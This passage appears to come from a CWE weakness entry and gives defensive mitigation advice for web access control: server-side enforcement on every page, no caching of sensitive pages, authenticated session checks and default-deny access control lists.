- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
No CAPEC attack patterns related to this CWE.